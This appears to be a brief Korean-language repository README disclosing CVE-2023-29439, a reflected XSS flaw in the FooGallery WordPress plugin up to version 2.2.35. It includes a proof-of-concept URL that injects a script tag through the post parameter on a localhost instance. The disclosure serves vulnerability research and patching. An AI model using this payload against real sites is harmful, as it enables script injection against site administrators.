CVE-2023-29439

이 저장소는 Wordpress Foogallery 플러그인의 XSS 취약점에 관한 것입니다.

취약점 세부 정보

설명

Foogallery 2.2.35 및 이전 버전에서는 foogallery/includes/admin/class-gallery-attachment-modal.php 파일의 foogallery_image_editor_modal 함수가 XSS 공격에 취약합니다.

사전 요구 사항

• 인증 불필요

개념 증명(PoC)

1. Foogallery 설정 → 관리자 → 고급 첨부 파일 모달 활성화
2. 다음 URL 전송: http://localhost:8080/wp-admin/post-new.php?post_type=foogallery&post="><script>alert(1)</script>

참고 자료

CVE-2023-29439